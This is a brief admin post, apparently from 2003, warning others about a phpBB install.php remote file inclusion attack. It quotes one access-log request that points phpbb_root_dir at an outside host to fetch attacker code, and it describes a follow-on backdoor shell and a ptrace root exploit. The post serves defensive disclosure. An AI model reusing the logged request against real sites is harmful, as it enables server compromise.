phpbb exploit
Probably old news, but this hit a few of our customers today. A request comes in like so:57.66.3.199 - - [03/Jun/2003:15:28:56 -0600] "GET /phpbb/install.php?phpbb_root_dir=http://57.66.3.199/ass/ HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" www.customerwebsite.com
Shortly thereafter, two files are upload, bd.pl and ex.c
One allows for shell access via a random port (55557 in our case), the other attempts to exploit a Linux ptrace local root vulnerability.
Our user accounts are chrooted and have no compiler available, so no damage done here, but you may want to look at your systems some.